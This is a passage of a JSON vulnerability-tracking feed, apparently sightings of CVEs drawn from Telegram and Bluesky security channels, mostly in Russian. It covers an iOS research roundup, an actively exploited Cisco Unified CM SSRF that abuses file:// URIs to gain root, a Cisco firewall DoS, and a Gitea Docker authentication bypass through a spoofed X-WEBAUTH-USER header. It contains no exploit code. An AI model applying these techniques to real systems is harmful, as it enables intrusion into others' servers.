\u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 sync decode \u0447\u0435\u0440\u0435\u0437 Camera \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 UAF \u043d\u0430 \u043e\u0431\u0445\u043e\u0434\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438.\n4. Cyanide: Writing Tweaks \u2014 developer reference \u043f\u043e Cyanide tweaks: RemoteCall-\u0441\u0435\u0441\u0441\u0438\u0438, remote_objc API, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 tweak, Settings-\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 Theos/Substrate \u0431\u0435\u0437 SpringBoard dylib-\u0445\u0443\u043a\u043e\u0432.\n5. Patching Metal Graphics into vphone \u2014 clean-room shim \u0434\u043b\u044f Metal compiler plugin \u0432 vphone: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 PCC dyld shared cache \u0438 \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 relocations, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 ~230 \u0441\u0442\u0440\u043e\u043a C++ \u0441 runtime symbol resolution.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u0435\u0441\u0443\u0440\u0438\u0442\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u043c \u044f\u0434\u0440\u0430 iOS \u0438\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 IOKit/SEP, zeroxjf \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u0442\u0443\u0442 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-13T13:00:04.683991Z"}, {"uuid": "6b83c59a-3a3a-4943-bcca-66f8984559fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/true_secator/8340", "content": "SSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Unified Communications Manager Server, CVE-2026-20230, \u0442\u0435\u043f\u0435\u0440\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Unified Communications Manager (Unified CM) \u0438 Cisco Unified Communications Manager Session Management Edition (Unified CM SME) \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 SSRF \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f CVE-2026-20230 \u0432\u044b\u0448\u043b\u0438 3 \u0438\u044e\u043d\u044f, \u0430 Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430, \u0447\u0442\u043e \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0430\u0432\u0430 root \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u00a0\u00a0root.\n\n\u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 SSD Secure, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0435 \u0431\u044b\u043b\u043e. \u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Defused, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-20230, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c, \u0430 \u0441\u0430\u043c\u0430 \u043e\u043d\u0430 \u0435\u0449\u0435 \u043d\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a CISA KEV.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Defused, \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441 \u043e\u0434\u043d\u043e\u0433\u043e IP \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0442\u0438\u043f\u0430 file:// \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0425\u043e\u0442\u044f \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 Defused \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u0443\u0442\u0435\u043c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u043d\u0438\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c /tmp/cve-2026-20230-test.txt.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, SSD Secure \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430 \u0435\u0451 \u0440\u0430\u0431\u043e\u0442\u044b \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c Webdialer, \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u041e\u0421, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f URI \u0442\u0438\u043f\u0430 file://.\n\n\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u043f\u0443\u0442\u044c \u043a \u0444\u0430\u0439\u043b\u0443 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0435 \u043d\u0430 \u0434\u0438\u0441\u043a, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nSSD Secure \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043c\u044f \u0445\u043e\u0441\u0442\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0443. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u044d\u0442\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0435\u0449\u0435 \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041d\u044b\u043d\u0435\u0448\u043d\u044f\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e\u0441\u0438\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430, \u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0435 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f.", "creation_timestamp": "2026-07-13T13:00:07.754987Z"}, {"uuid": "e2bf4fd8-8e5e-4521-b610-554f9949be24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mstj3f3r4d2y", "content": "Cisco warns that CVE-2026-20349, an 8.6 DoS flaw in Secure Firewall ASA and FTD VPN services, is being actively exploited to crash devices. Fixed releases and hot fixes are available. #Cisco #CVE202620349 #VPN", "creation_timestamp": "2026-08-11T21:00:29.551955Z"}, {"uuid": "0b5434e5-f2b7-4e7d-9b92-9e531eb18311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/true_secator/8383", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Sysdig \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u0440\u0430\u0437\u0430\u0445 Docker Gitea.\n\nCVE-2026-20896\u00a0(CVSS: 9,8) \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 DevOps \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 X-WEBAUTH-USER \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e IP, \u0447\u0442\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0410\u043b\u0438 \u041c\u0443\u0441\u0442\u0430\u0444\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043e\u0431\u0440\u0430\u0437\u044b Docker \u043e\u0442 Gitea \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0448\u0430\u0431\u043b\u043e\u043d app.ini, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 REVERSE_PROXY_TRUSTED_PROXIES = *.\n\n\u0424\u0430\u0439\u043b app.ini \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u043a \u0431\u0430\u0437\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0439 \u0437\u043d\u0430\u043a \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0430\u0436\u0434\u043e\u043c\u0443 IP \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u043e\u0439, \u043a\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0440\u0442\u0443, \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043b\u044e\u0431\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u043a\u0435\u043d\u0430.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 REVERSE_PROXY_TRUSTED_PROXIES - 127.0.0.0/8,::1/128, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e localhost, \u0442\u043e \u0435\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0440\u0430\u0437\u0435 Docker \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e \u0436\u0435\u0441\u0442\u043a\u043e 